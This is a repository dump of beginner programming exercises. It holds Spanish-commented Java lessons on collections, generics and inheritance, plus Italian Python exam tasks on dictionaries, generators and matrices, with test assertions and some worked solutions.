Alumno("Camilo", 18)); sa.add(new Alumno("Andres", 17)); sa.add(new Alumno("Maria", 16)); sa.add(new Alumno("Carmela", 15)); sa.add(new Alumno("Roberto", 14)); sa.add(new Alumno("Rosa", 11)); sa.add(new Alumno("Rosa", 11)); sa.add(new Alumno("Valencia", 12)); sa.add(new Alumno("Valencia", 12)); System.out.println(sa); System.out.println("\n========== LINKEDLIST COMPARABLE COMPARATOR =========="); // Forma Manual //Collections.sort(sa, (a, b) -> a.getNombre().compareTo(b.getNombre())); //sa.sort((a, b) -> b.getNombre().compareTo(a.getNombre())); // Utilizando Java 8 (Se Ordena Según El Atributo) //sa.sort(Comparator.comparing((Alumno a) -> a.getEdad())); //sa.sort(Comparator.comparing((Alumno a) -> a.getEdad()).reversed()); // Optimizando Aún Más Con El Método De Referencia sa.sort(Comparator.comparing(Alumno::getEdad).reversed()); System.out.println("\n========== Iterando LinkedList Usando While E Iterator =========="); sa.forEach(System.out::println); } } <file_sep>package com._13_POO._06_Herencia; public class MainHerenciaConstructores { public static void main(String[] args) { Alumno alumno = new Alumno("<NAME>", "<NAME>", 27, "Instituto Nacional"); alumno.setNotaCastellano(5.5); alumno.setNotaHistoria(6.3); alumno.setNotaMatematica(4.9); alumno.setEmail("<EMAIL>"); AlumnoInternacional alumnoInternacional = new AlumnoInternacional("<NAME>", "<NAME>", "Colombia"); alumnoInternacional.setEdad(22); alumnoInternacional.setInstitucion("Enrique Olaya Herrera"); alumnoInternacional.setNotaIdiomas(6.8); alumnoInternacional.setNotaCastellano(6.2); alumnoInternacional.setNotaHistoria(5.8); alumnoInternacional.setNotaMatematica(6.5); alumnoInternacional.setEmail("<EMAIL>"); Profesor profesor = new Profesor("<NAME>", "<NAME>", "Matematicas"); profesor.setEdad(37); profesor.setEmail("<EMAIL>"); MainHerenciaConstructores.imprimir(alumno); MainHerenciaConstructores.imprimir(alumnoInternacional); MainHerenciaConstructores.imprimir(profesor); } public static void imprimir(Persona persona) { System.out.println("\nImprimiendo Datos Del Tipo Persona General =>"); System.out.println("Nombre: " + persona.getNombre() + "\nApellido: " + persona.getApellido() + "\nEdad: " + persona.getEdad() + "\nEmail: " + persona.getEmail()); if (persona instanceof Alumno) { System.out.println("\nImprimiendo Datos Del Tipo Alumno =>"); System.out.println("Instituciòn: " + ((Alumno) persona).getInstitucion()); System.out.println("Nota Matemàticas: " + ((Alumno) persona).getNotaMatematica()); System.out.println("Nota Historia: " + ((Alumno) persona).getNotaHistoria()); System.out.println("Nota Castelllano: " + ((Alumno) persona).getNotaCastellano()); if (persona instanceof AlumnoInternacional) { System.out.println("\nImprimiendo Datos Del Tipo Alumno Internacional =>"); System.out.println("Nota Idioma: " + ((AlumnoInternacional) persona).getNotaIdiomas()); System.out.println("Pais: " + ((AlumnoInternacional) persona).getPais()); } System.out.println("\n=============== SOBRE ESCRITURA PROMEDIO ====================="); System.out.println("Promedio: " + ((Alumno) persona).calcularPromedio()); System.out.println("=============== SOBRE ESCRITURA PROMEDIO ====================="); } if (persona instanceof Profesor) { System.out.println("\nImprimiendo Datos Del Tipo Profesor =>"); System.out.println("Asignatura: " + ((Profesor) persona).getAsignatura()); } System.out.println("\n=============== SOBRE ESCRITURA SALUDAR ====================="); System.out.println(persona.saludar()); System.out.println("=============== SOBRE ESCRITURA SALUDAR ====================="); } } <file_sep>package com._05_EstructurasAlgoritmicas._07_While; public class _01_SentenciaWhile { public static void iteradorWhile() { int i = 0; System.out.println("========== ITERADOR WHILE NUMBER =========="); while (i < 5) { System.out.println("i = " + i); i++; } boolean prueba = true; System.out.println("\n========== ITERADOR WHILE BOOLEAN =========="); while (prueba) { if (i == 7) { prueba = false; } System.out.println("i = " + i); i++; } } } <file_sep>package com._02_Variables._01_TiposPrimitivos._05_Dinamico; public class _08_var { public static void ValoresVar() { /* var => Solo Funciona Para Variables Locales, Para Variables De Clase (Atributos) O Para Definir Parametros No Es Posible */ // Tipo De Dato Inferencial var valorVar = 555f; var valorUnicode = '\u0040'; // Valor Unicode var valorInt = 64; // Ojo Se Infiere Como Un Valor Entero(INT) Y No Como Un Valor Decimal(CHAR) System.out.println("\n========= TIPO DE DATO PRIMITIVO \"var\" ========="); System.out.println("Es Un Tipo De Dato Variable O Dinàmico, Por Que Dependiendo De Su Valor Define O Infiere El Tipo De Dato"); System.out.println("valorVar = " + valorVar); System.out.println("valorVar = " + valorUnicode); System.out.println("valorVar = " + valorInt); } } <file_sep>package com._16_CollectionAPI._01_Set.HashSet; import java.util.HashSet; import java.util.Set; public class DuplicadosSegmentados { public static void EjemploHashSetBuscarDuplicadoSegmentado() { System.out.println("\n========== EJEMPLO DUPLICADOS SEGMENTADOS ==========="); String[] peces = {"Corvina", "Lenguado", "Pejerrey", "Corvina", "Robalo", "Atún", "Lenguado"}; Set<String> unicos = new HashSet<>(); Set<String> duplicados = new HashSet<>(); for (String pez: peces) { if (!unicos.add(pez)) { duplicados.add(pez); } } unicos.removeAll(duplicados); System.out.println("Unicos: " + unicos); System.out.println("Duplicados: " + duplicados); } } <file_sep>package com._06_JavaUtil; import java.util.Date; public class _02_GetTimeMilisegundos { public static void getTime() { /** TRABAJANDO CON LA FECHA ACTUAL DEL SISTEMA */ System.out.println("\n========== MÈTODO GETTIME MILISEGUNDOS POR DEFECTO =========="); long j = 0; Date fecha = new Date(); for (int i = 0; i < 1000000; i++) { j += i; } System.out.println("j = " + j); Date fecha2 = new Date(); long tiempoFinalMilisegundos = fecha2.getTime() - fecha.getTime(); System.out.println("Tiempo Transcurrido En El for = " + tiempoFinalMilisegundos); } } <file_sep>package com._13_POO._05_Sobrecarga; import static com._13_POO._05_Sobrecarga.Calculadora.*; public class Main { public static void main(String[] args) { Calculadora calculadora = new Calculadora(); System.out.println("Sumar Int: " + sumar(10,5)); System.out.println("Sumar Float: " + sumar(10.0F, 5F)); System.out.println("Sumar Float - Int: " + sumar(10F, 5)); System.out.println("Sumar Int - Float: " + sumar(10, 5.0F)); System.out.println("Sumar Double: " + calculadora.sumar(10D, 5D)); System.out.println("Sumar String: " + calculadora.sumar("10", "5")); System.out.println("Sumar Tres Int: " + calculadora.sumar(10, 5, 3)); System.out.println("Sumar Long: " + calculadora.sumar(10L, 5L)); System.out.println("Sumar Int: " + calculadora.sumar(10, '@')); System.out.println("Sumar Float - Int: " + calculadora.sumar(10F, '@')); System.out.println("Sumar Int Argumentos Variables: " + calculadora.sumar(10, '@', 3, 4, 5)); System.out.println("Sumar Float - Int Argumentos Variables: " + calculadora.sumar(12F, 34, 10, '@', 3, 4, 5)); System.out.println("Sumar Double Argumentos Variables: " + calculadora.sumar(10_5D, 10_0, 123e6D, 11F)); } } <file_sep>package com._02_Variables._01_TiposPrimitivos._02_Decimales; public class _05_float { public static void ValoresFloat() { float valorNumeroFloat = 9223372036e7F; float valorNumeroFloat2 = 1.5e-10f; // 0.00000000015f /* Cuando Se Exceda El Valor O La Capacidad Máxima Del Tipo De Dato Definido Tendremos El Siguiente Error: */ /* floating point number too large */ /* int excederFloat = 3.4028236E38F; */ /* Casteo O Conversión De Tipos */ /* El 3.4028236E38F Es De Tipo Punto Flotante, Especificamente float Y Lo Que Hacemos Es Definir * El Valor De Ese Float Como Double Y Luego Lo Casteamos A Float */ /* El Resultado Que Obtendremos Es Que No Se Esta Almacenando El 3.4028236E38F Como Lo Habiamos Indicado, * Por Que El Compilador Nos Dice Que Si Estamos Seguros De Lo Que Estamos Haciendo, Ya Que Si * Queremos Almacenar Un Valor Que Supera El Rango Del Tipo De Dato Del Indicador, Estamos Expuestos * A Tener Resultados Con Imprecisiones, Así, Sea Casteado O Convertido */ float excederFloat = (float) 3.4028236E38; System.out.println("\n========= TIPO DE DATO PRIMITIVO \"float\" ========="); System.out.println("Tipo float Corresponde En Bits A: " + Float.SIZE); System.out.println("Tipo float Corresponde En Bytes A: " + Float.BYTES); System.out.println("Nùmero Minimo Aceptado: " + Float.MIN_VALUE); // Valor Minimo Tenemos -45 Posiciones A La Izquierda System.out.println("Nùmero Maximo Aceptado: " + Float.MAX_VALUE); // Valor Maximo Tenemos 38 Posiciones A La Derecha System.out.println("Variable valorNumeroFloat = " + valorNumeroFloat); System.out.println("Variable valorNumeroFloat2 = " + valorNumeroFloat2); System.out.println("El Valor Es Muy Grande Para Lo Que Soporta El Tipo FLOAT excederFloat = " + excederFloat + " Obtenemos Valores Con Imprecisiones Por Que Perdemos Bits"); } } <file_sep>package com._14_Generics.Metodos; import com._13_POO._09_CrudDAO.modelo.Cliente; import com._13_POO._09_CrudDAO.modelo.ClientePremium; import java.util.ArrayList; import java.util.Arrays; import java.util.List; public class _03_GenericosComodines { public static void genericosComodines() { System.out.println("\n========== WILDCARDS GENERICS(Comodin '?') =========="); List<Cliente> clientes = new ArrayList<>(); clientes.add(new Cliente("Daniel", "Fernando")); Cliente[] clientesArreglo = {new Cliente("Luciano", "Fernando"), new Cliente("Andres", "Camilo")}; Integer[] enterosArreglo = {1, 2, 3}; /** Método Stático fromArrayToList */ List<Cliente> clientesLista = fromArrayToList(clientesArreglo); List<Integer> enterosLista = fromArrayToList(enterosArreglo); clientesLista.forEach(System.out::println); enterosLista.forEach(System.out::println); List<ClientePremium> clientesPremiumList = fromArrayToList( new ClientePremium[]{new ClientePremium("Paco", "Fernando Premium")}); clientesPremiumList.forEach(System.out::println); List<String> nombres = fromArrayToList(new String[]{"Bea", "Max", "Luz", "Maxi"}, enterosArreglo); nombres.forEach(System.out::println); imprimirClientes(clientes); imprimirClientes(clientesLista); imprimirClientesComodin(clientes); imprimirClientesComodin(clientesPremiumList); } public static <T> List<T> fromArrayToList(T[] general) { /** Recibe Un Arreglo Y Lo Convierte En Una Lista */ return Arrays.asList(general); } public static <T extends Number> List<T> fromArrayToList(T[] general) { /** Recibe Un Arreglo Y Lo Convierte En Una Lista */ return Arrays.asList(general); } /** Trabaja Con Clientes O Con Sus Subclases(Clase Hijas) Màs Cercanas */ public static <T extends Cliente & Comparable<T>> List<T> fromArrayToList(T[] general) { /** Recibe Un Arreglo Y Lo Convierte En Una Lista */ return Arrays.asList(general); } public static <T, G> List<T> fromArrayToList(T[] parametroGeneral, G[] parametroGeneral2) { System.out.println(" "); for (G elemento: parametroGeneral2) { System.out.println(elemento); } /** Recibe Un Arreglo Y Lo Convierte En Una Lista */ return Arrays.asList(parametroGeneral); } /** Los Comodines Solo Se Pueden Utilizar En Las Listas */ /** No Recibe ClientesPremium Por Que Solo Es Una Lista De Tipo * Cliente, En Conclusión, Aqui No Recibe Sub-clases O Descendencia * Del Tipo Cliente, Como Es El Caso De clientesPremium, * ¿POR QUÉ? Porque Estamos Hablando De Listas En Los * Parametros, Mas No, De Objetos, Entonces, Una Lista De * Clientes Es Totalmente Diferente De Una Lista De * Clientes Premium */ public static void imprimirClientes(List<Cliente> clientes) { clientes.forEach(System.out::println); } /** Para Que Reciba Clientes De Cualquier Tipo * Incluyendo Sub-clases O Descendencia Debe Utilizar El Comodin "?" */ public static void imprimirClientesComodin(List<? extends Cliente> clientes) { clientes.forEach(System.out::println); } } <file_sep>package com._02_Variables._03_ConversionDeTipos; public class Main { public static void main(String[] args) { _01_CadenasAPrimitivos.cadenasAprimitivos(); _02_PrimitivosACadenas.primitivosACadenas(); _03_PrimitivosAPrimitivos.primitivosAprimitivos(); _04_PrimitivosAObjetos.primitivosAobjetos(); _05_ObjetosAPrimitivos.objetosAprimitivos(); _06_CadenasAObjetos.cadenasAobjetos(); } } <file_sep>package com._16_CollectionAPI._03_Map.HashMap; import java.util.HashMap; import java.util.Map; public class Concepto { public static void ejemploHashMap() { System.out.println("========== DEFINICIÓN DEL CONCEPTO MAP<kEY, VALUE> =========="); Map<String, String> persona = new HashMap<>(); /** Guardar En El Map (Las LLaves Son Unicas, Solo Deja La Ultima LLave Leída) */ persona.put(null, "12345"); persona.put("nombre", "Daniel"); persona.put("apellido", "yepez"); persona.put("apellidoPaterno", "yepez"); persona.put("email", "<EMAIL>"); persona.put("edad", "30"); System.out.println("persona = " + persona); /** OBTENER VALORES DEL MAP */ String nombre = persona.get("nombre"); System.out.println("nombre = " + nombre); String apellido = persona.get("apellido"); System.out.println("apellido = " + apellido); } }
45c9aec65591ae8f0b492e17308c7740f49d16c0
[ "Markdown", "Java", "INI" ]
88
Markdown
DanielFernandoYepezVelez/Fundamentos-Java
dca0fe505e30e7f2cbb59c447de71ba95d7461a1
6f4524f2db1b7854e6173650de9352feba9496ac
refs/heads/main
<file_sep>""" ESERCIZIO 4 Ritorna un generatore che genera una sequenza contenente n stringhe, con queste regole: - si suppone che il primo elemento della sequenza sia ad indice zero se si sta generando una stringa: - ad indice pari, la stringa deve contenere la lettera 'a' - ad indice dispari, la stringa deve contenere la lettera 'b' - ad indice divisibile per 3, la stringa deve contenere la lettera 'c'. Tale lettera deve essere posta alla fine della stringa Per esempio: list(gen(7)) deve dare ['ac','b','a','bc','a','b','ac'] Perchè Indice Stringa Perchè 0 'ac' 0 è pari e divisibile per 3 1 'b' 1 è dispari 2 'a' 2 è pari 3 'bc' 3 è dispari e divisibile per tre 4 'a' 4 è pari 5 'b' 5 è dispari 6 'ac' 6 è pari e divisibile per tre Suggerimenti - se volete usare i moduli, per vedere se un indice i è divisibile per m scrivete i % m == 0 - se avete letto la documentazione dei generatori, in alternativa ai moduli c'è un'altro modo più furbo che potete usare """ def gen(n): # Scrivi qui # INIZIO TEST - NON TOCCARE !!! import types assert isinstance(gen(0), types.GeneratorType) # verifico che pari ritorni un generatore e non una lista assert list(gen(1)) == ['ac'] assert list(gen(2)) == ['ac','b'] assert list(gen(3)) == ['ac','b','a'] assert list(gen(4)) == ['ac','b','a','bc'] assert list(gen(5)) == ['ac','b','a','bc','a'] assert list(gen(6)) == ['ac','b','a','bc','a','b'] assert list(gen(7)) == ['ac','b','a','bc','a','b','ac'] # FINE TEST <file_sep># Challenges ## Challenge 1: Dataset personaggi storici Starting csv: ![](images/wiki2.png) Python Script Execution: ![](images/wiki1.png) Results: ![](images/wiki0.png)<file_sep> """ Prende in input una lista con n numeri interi, e RITORNA una NUOVA lista che contiene n tuple ciascuna da due elementi. Ogni tupla contiene un numero preso dalla corrispondente posizione della lista di partenza, e il suo doppio. Per esempio: doppie([ 5, 3, 8]) deve dare la nuova lista [(5,10), (3,6), (8,16)] """ def doppie(lista): ret = [] for elemento in lista: ret.append((elemento, elemento * 2)) return ret assert doppie([]) == [] assert doppie([3]) == [(3,6)] assert doppie([2,7]) == [(2,4),(7,14)] assert doppie([5,3,8]) == [(5,10), (3,6), (8,16)] """ Quando si analizza una frase, può essere utile processarla per rimuovere parole molto comuni, come per esempio gli articoli e le preposizioni: "un libro su Python" si può semplificare in "libro Python" Le parole 'poco utili' vengono chiamate 'stopwords'. Questo processo è per esempio eseguito dai motori di ricerca per ridurre la complessità della stringa di input fornita dall'utente. Implementare una funzione che prende una stringa e RITORNA la stringa di input senza le stopwords SUGGERIMENTO 1: le stringhe in Python sono *immutabili* ! Per rimuovere le parole dovete creare una _nuova_ stringa a partire dalla stringa di partenza. SUGGERIMENTO 2: create una lista di parole così: lista = stringa.split(" ") SUGGERIMENTO 3: operate le opportune trasformazioni su lista, e poi costruite la stringa da restituire con " ".join(lista) """ def nostop(stringa, stopwords): lista = stringa.split(" ") for s in stopwords: if s in lista: lista.remove(s) return " ".join(lista) assert nostop("un", ["un"]) == "" assert nostop("un", []) == "un" assert nostop("", []) == "" assert nostop("", ["un"]) == "" assert nostop("un libro", ["un"]) == "libro" assert nostop("un libro su Python", ["un","su"]) == "libro Python" assert nostop("un libro su Python per principianti", ["un","uno","il","su","per"]) == "libro Python principianti" """ Restituisce un dizionario con n coppie chiave-valore, dove le chiavi sono numeri interi da 1 a n incluso, e ad ogni chiave i è associata una lista di numeri da 1 a i NOTA: le chiavi sono *numeri interi*, NON stringhe !!!!! Esempio: dilist(3) deve dare: { 1:[1], 2:[1,2], 3:[1,2,3] } """ def dilist(n): ret = dict() for i in range(1,n+1): lista = [] for j in range(1,i+1): lista.append(j) ret[i] = lista return ret assert dilist(0) == dict() assert dilist(1) == { 1:[1] } assert dilist(2) == { 1:[1], 2:[1,2] } assert dilist(3) == { 1:[1], 2:[1,2], 3:[1,2,3] } import numpy as np """ RESTITUISCE una NUOVA matrice numpy che ha i numeri della matrice numpy di input ruotati di una colonna. Per ruotati intendiamo che: - se un numero nella matrice di input si trova alla colonna j, nella matrice di output si troverà alla colonna j+1 nella stessa riga. - Se un numero si trova nell'ultima colonna, nella matrice di output si troverà nella colonna zeresima. Esempio: Se abbiamo come input np.array( [ [0,1,0], [1,1,0], [0,0,0], [0,1,1] ]) Ci aspettiamo come output np.array( [ [0,0,1], [0,1,1], [0,0,0], [1,0,1] ]) """ def matrot(matrice): ret = np.zeros(matrice.shape) for i in range(matrice.shape[0]): ret[i,0] = matrice[i,-1] for j in range(1, matrice.shape[1]): ret[i,j] = matrice[i,j-1] return ret m1 = np.array( [ [1] ]) mat_attesa1 = np.array( [ [1] ]) assert np.allclose(matrot(m1), mat_attesa1) m2 = np.array( [ [0,1] ]) mat_attesa2 = np.array( [ [1,0] ]) assert np.allclose(matrot(m2), mat_attesa2) m3 = np.array( [ [0,1,0] ]) mat_attesa3 = np.array( [ [0,0,1] ]) assert np.allclose(matrot(m3), mat_attesa3) m4 = np.array( [ [0,1,0], [1,1,0] ]) mat_attesa4 = np.array( [ [0,0,1], [0,1,1] ]) assert np.allclose(matrot(m4), mat_attesa4) m5 = np.array([ [0,1,0], [1,1,0], [0,0,0], [0,1,1] ]) mat_attesa5 = np.array([ [0,0,1], [0,1,1], [0,0,0], [1,0,1] ]) assert np.allclose(matrot(m5), mat_attesa5) <file_sep>""" ESAME <NAME>ORITMI PYTHON 21 Giugno 2018 - NON CAMBIATE IL NOME DELLE FUNZIONI - SE VOLETE POTETE AGGIUNGERE FUNZIONI VOSTRE, MA DOVETE SEMPRE RICHIAMARLE DALLE FUNZIONI CHE VI HO SCRITTO IO - QUANDO SCRIVO 'RITORNA', LA FUNZIONE DEVE _RITORNARE_ DEI VALORI, NON STAMPARLI CON LA PRINT !!!! - COMUNQUE, PRINT ADDIZIONALI DI DEBUG SONO CONCESSE - NON RIASSEGNATE I PARAMETRI IN INPUT! TRADOTTO: NON SCRIVETE _MAI_ QUALCOSA DEL GENERE !!! def f(x): x = ..... - OGNI FUNZIONE E' SEGUITA DAGLI ASSERT DI TEST, SE QUANDO ESEGUITE IL CODICE NON VEDETE ERRORI PROBABILMENTE IL CODICE E' GIUSTO (MA NON FIDATEVI TROPPO, I TEST NON SONO ESAUSTIVI !) - USARE EDITOR SPYDER. - Per eseguire tutto lo script: F5 - Per eseguire solo la linea corrente o la selezione: F9 *** DA FARE: IMPLEMENTATE QUESTE 4 FUNZIONI: *** - powers - onomat - flip - gen """ """ ESERCIZIO 1 RITORNA un dizionario in cui le chiavi sono numeri interi da 1 a n inclusi, e i rispettivi valori sono i quadrati delle chiavi powers(3) Ritorna { 1:1, 2:4, 3:9 } """ def powers(n): # scrivi qui d=dict() for i in range(1,n+1): d[i]=i**2 return d # INIZIO TEST - NON TOCCARE !!! assert powers(1) == {1:1} assert powers(2) == { 1:1, 2:4 } assert powers(3) == { 1:1, 2:4, 3:9 } assert powers(4) == { 1:1, 2:4, 3:9, 4:16 } # FINE TEST """ ESERCIZIO 2 INPUT: - frase da arricchire - Il sentimento da usare, che è codificato come un valore numerico. - un dizionario di sentimenti, in cui si associa al codice numerico di ogni sentimento un dizionario contenente un espressione onomatopeica tipica per quel sentimento, e la posizione in cui deve figurare all'interno di una frase. Le posizioni sono indicate come 'i' per inizio e 'f' per fine. OUTPUT - La frase arricchita con l'espressione onomatopeica scelta in base al sentimento. L'espressione va aggiunta sempre prima o dopo la frase, e sempre separata da uno spazio. Per esempio sentimenti = { 1: { "espressione": "Gulp!", "posizione": "i" } 2: { "espressione": "Sgaragulp !", "posizione": "i" } 3: { "espressione": "Uff..", "posizione": "f" } } onomat("Ma quelli sono i bassotti!", 1, sentimenti) Deve tornare "Gulp! Ma quelli sono i bassotti!" Mentre onomat("Non voglio alzarmi dall'amaca.", 3, sentimenti) Deve tornare "Non voglio alzarmi dall'amaca. Uff.." NOTA: Ricordarsi lo spazio tra espressione e frase! """ def onomat(frase, sentimento, sentimenti): sent = sentimenti[sentimento] if sent["posizione"] == "i": return sent["espressione"] + " " + frase else: return frase + " " + sent["espressione"] # INIZIO TEST - NON TOCCARE !!! sentimenti = { 1: { "espressione": "Gulp!", "posizione": "i" }, 2: { "espressione": "Sgaragulp!", "posizione": "i" }, 3: { "espressione": "Uff..", "posizione": "f" }, 4: { "espressione": "Yuk yuk!", "posizione": "f" }, 5: { "espressione": "Sgrunt!", "posizione": "i" }, 6: { "espressione": "Gasp!", "posizione" : "i" } } assert onomat("Mi chiamo Pippo.", 4, sentimenti) == "Mi chiamo Pippo. Yuk yuk!" assert onomat("Quel topastro mi ha rovinato un'altra rapina!", 5, sentimenti) == "Sgrunt! Quel topastro mi ha rovinato un'altra rapina!" assert onomat("Non voglio alzarmi dall'amaca.", 3, sentimenti) == "Non voglio alzarmi dall'amaca. Uff.." # FINE TEST """ Esercizio 3 Prende una matrice come lista di liste in ingresso contenenti zeri e uni, e RITORNA una nuova matrice (sempre come lista di liste), costruita prima invertendo tutte le righe della matrice di input e poi rovesciando tutte le righe - Invertire una lista vuol dire trasformare gli 0 in 1 e gli 1 in 0. Per esempio, [0,1,1] diventa [1,0,0] [0,0,1] diventa [1,1,0] - Rovesciare una lista vuol dire che rovesciare l'ordine degli elementi: Per esempio [0,1,1] diventa [1,1,0] [0,0,1] diventa [1,0,0] Combinando inversione e rovesciamento, per esempio se partiamo da [ [1,1,0,0], [0,1,1,0], [0,0,1,0] ] Prima invertiamo ciascun elemento: [ [0,0,1,1], [1,0,0,1], [1,1,0,1] ] e poi rovesciamo ciascuna riga: [ [1,1,0,0], [1,0,0,1], [1,0,1,1] ] Suggerimenti - per rovesciare una lista usare il metodo .reverse() come in mia_lista.reverse() NOTA: mia_lista.reverse() modifica mia_lista, *non* ritorna una nuova lista !! - ricordarsi ll return !! """ def flip(matrice): ret = [] for riga in matrice: nuova_riga = [] for elem in riga: nuova_riga.append(1 - elem) nuova_riga.reverse() ret.append(nuova_riga) return ret # INIZIO TEST - NON TOCCARE !!! assert flip([[]]) == [[]] assert flip([[1]]) == [[0]] assert flip([[1,0]]) == [[1,0]] m1 = [ [1,0,0], [1,0,1] ] mat_attesa1 = [ [1,1,0], [0,1,0] ] assert flip(m1) == mat_attesa1 m2 = [ [1,1,0,0], [0,1,1,0], [0,0,1,0] ] mat_attesa2 = [ [1,1,0,0], [1,0,0,1], [1,0,1,1] ] assert flip(m2) == mat_attesa2 # verifica che l'm originale non è cambiato ! assert m2 == [ [1,1,0,0], [0,1,1,0], [0,0,1,0] ] # FINE TEST """ ESERCIZIO 4 Ritorna un generatore che genera una sequenza contenente n stringhe, con queste regole: - si suppone che il primo elemento della sequenza sia ad indice zero se si sta generando una stringa: - ad indice pari, la stringa deve contenere la lettera 'a' - ad indice dispari, la stringa deve contenere la lettera 'b' - ad indice divisibile per 3, la stringa deve contenere la lettera 'c'. Tale lettera deve essere posta alla fine della stringa Per esempio: list(gen(7)) deve dare ['ac','b','a','bc','a','b','ac'] Perchè Indice Stringa Perchè 0 'ac' 0 è pari e divisibile per 3 1 'b' 1 è dispari 2 'a' 2 è pari 3 'bc' 3 è dispari e divisibile per tre 4 'a' 4 è pari 5 'b' 5 è dispari 6 'ac' 6 è pari e divisibile per tre Suggerimenti - se volete usare i moduli, per vedere se un indice i è divisibile per m scrivete i % m == 0 - se avete letto la documentazione dei generatori, in alternativa ai moduli c'è un'altro modo più furbo che potete usare """ def gen(n): for i in range(n): if i % 2 == 0: if i % 3 == 0: yield "ac" else: yield "a" else: if i % 3 == 0: yield "bc" else: yield "b" # INIZIO TEST - NON TOCCARE !!! import types assert isinstance(gen(0), types.GeneratorType) # verifico che pari ritorni un generatore e non una lista assert list(gen(1)) == ['ac'] assert list(gen(2)) == ['ac','b'] assert list(gen(3)) == ['ac','b','a'] assert list(gen(4)) == ['ac','b','a','bc'] assert list(gen(5)) == ['ac','b','a','bc','a'] assert list(gen(6)) == ['ac','b','a','bc','a','b'] assert list(gen(7)) == ['ac','b','a','bc','a','b','ac'] # FINE TEST <file_sep>''' Esercizio 1 Dato un dizionario strutturato ad albero riguardante i voti di uno studente in classe V e VI, RESTITUIRE un array contente la media di ogni materia Esempio: medie([ {'id' : 1, 'subject' : 'math', 'V' : 70, 'VI' : 82}, {'id' : 1, 'subject' : 'italian', 'V' : 73, 'VI' : 74}, {'id' : 1, 'subject' : 'german', 'V' : 75, 'VI' : 86} ]) ritorna [ (70+82)/2 , (73+74)/2, (75+86)/2 ] ovvero [ 76.0 , 73.5, 80.5 ] ''' def medie(lista): # scrivi qui # INIZIO TEST - NON TOCCARE ! import math ''' Verifica che i numeri float in lista1 siano simili a quelli di lista2 ''' def is_list_close(lista1, lista2): if len(lista1) != len(lista2): return False for i in range(len(lista1)): if not math.isclose(lista1[i], lista2[i]): return False return True assert is_list_close(medie([ {'id' : 1, 'subject' : 'math', 'V' : 70, 'VI' : 82}, {'id' : 1, 'subject' : 'italian', 'V' : 73, 'VI' : 74}, {'id' : 1, 'subject' : 'german', 'V' : 75, 'VI' : 86} ]), [ 76.0 , 73.5, 80.5 ]) # FINE TEST <file_sep>""" ESERCIZIO 2 INPUT: - frase da arricchire - Il sentimento da usare, che è codificato come un valore numerico. - un dizionario di sentimenti, in cui si associa al codice numerico di ogni sentimento un dizionario contenente un espressione onomatopeica tipica per quel sentimento, e la posizione in cui deve figurare all'interno di una frase. Le posizioni sono indicate come 'i' per inizio e 'f' per fine. OUTPUT - La frase arricchita con l'espressione onomatopeica scelta in base al sentimento. L'espressione va aggiunta sempre prima o dopo la frase, e sempre separata da uno spazio. Per esempio sentimenti = { 1: { "espressione": "Gulp!", "posizione": "i" } 2: { "espressione": "Sgaragulp !", "posizione": "i" } 3: { "espressione": "Uff..", "posizione": "f" } } onomat("Ma quelli sono i bassotti!", 1, sentimenti) Deve tornare "Gulp! Ma quelli sono i bassotti!" Mentre onomat("Non voglio alzarmi dall'amaca.", 3, sentimenti) Deve tornare "Non voglio alzarmi dall'amaca. Uff.." NOTA: Ricordarsi lo spazio tra espressione e frase! """ def onomat(frase, sentimento, sentimenti): # Scrivi qui # INIZIO TEST - NON TOCCARE !!! sentimenti = { 1: { "espressione": "Gulp!", "posizione": "i" }, 2: { "espressione": "Sgaragulp!", "posizione": "i" }, 3: { "espressione": "Uff..", "posizione": "f" }, 4: { "espressione": "Yuk yuk!", "posizione": "f" }, 5: { "espressione": "Sgrunt!", "posizione": "i" }, 6: { "espressione": "Gasp!", "posizione" : "i" } } assert onomat("Mi chiamo Pippo.", 4, sentimenti) == "Mi chiamo Pippo. Yuk yuk!" assert onomat("Quel topastro mi ha rovinato un'altra rapina!", 5, sentimenti) == "Sgrunt! Quel topastro mi ha rovinato un'altra rapina!" assert onomat("Non voglio alzarmi dall'amaca.", 3, sentimenti) == "Non voglio alzarmi dall'amaca. Uff.." # FINE TEST <file_sep>''' Esercizio 2 RESTITUISCE un generatore che produce una sequenza dei primi n elevati al quadrato Esempio potenza(4) resituirà 0 (0*0) 1 (1*1) 4 (2*2) 9 (3*3) 16 (4*4) ''' def potenza(n): # scrivi qui # INIZIO TEST - NON TOCCARE ! import types assert isinstance(potenza(0), types.GeneratorType) # verifico che pari ritorni un generatore e non una lista assert list(potenza(0)) == [0] assert list(potenza(1)) == [0,1] assert list(potenza(2)) == [0,1,4] assert list(potenza(3)) == [0,1,4,9] assert list(potenza(4)) == [0,1,4,9,16] # FINE TEST <file_sep># # METODI # "trento".capitalize() # print("trento".capitalize()) # "trento".upper() # print("trento".upper()) # "trento".count("t") # print("trento".count("t")) # def char3(phrase): # print(phrase) # subdiv = phrase.split(" ") # lastword = subdiv[-1] # numchar = int(subdiv[1]) # export = lastword[0:numchar] # return export # frase = "Prendi 4 lettere" # lett # a = char3(frase) # print(a) # frase = "Prendere 5 caratteri" # carat # a = char3(frase) # print(a) # frase = "Take 10 characters" # characters # a = char3(frase) # print(a) # # scrivi qui arrivi = ['sedie', 'lampade', 'cavi'] # magazzino diventa: {'B': 'sedie', 'C': 'lampade', 'F': 'cavi'} #arrivi = ['caraffe', 'giardinaggio'] # magazzino diventa: {'D': 'caraffe', 'E': 'giardinaggio'} #arrivi = ['stufe'] # magazzino diventa: {'A': 'stufe'} catalogo = {'stufe' : 'A', 'sedie' : 'B', 'caraffe' : 'D', 'lampade' : 'C', 'cavi' : 'F', 'giardinaggio' : 'E'} magazzino = dict() for oggetto in arrivi: # print("Oggetto: ", oggetto) if oggetto in catalogo: # print(catalogo[oggetto]) magazzino[ catalogo[oggetto] ] = oggetto print(magazzino) # scrivi qui <file_sep># ----------------------------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------------------------- # Esercizio 1 # """ # Prende in input una lista con n numeri interi, e RITORNA una NUOVA lista che # contiene n tuple ciascuna da due elementi. Ogni tupla contiene un numero # preso dalla corrispondente posizione della lista di partenza, e il suo doppio. # Per esempio: # doppie([ 5, 3, 8]) # deve dare la nuova lista # [(5,10), (3,6), (8,16)] # """ # def doppie(lista): # lista2x = [] # n = len(lista) # print("-" * 25) # print("list: ", lista, "length: ", n ) # lista2x = [(x,2*x) for x in lista] # print(lista2x) # print("-" * 25) # return lista2x # # INIZIO TEST - NON TOCCARE ! # assert doppie([]) == [] # assert doppie([3]) == [(3,6)] # assert doppie([2,7]) == [(2,4),(7,14)] # assert doppie([5,3,8]) == [(5,10), (3,6), (8,16)] # # FINE TEST # # 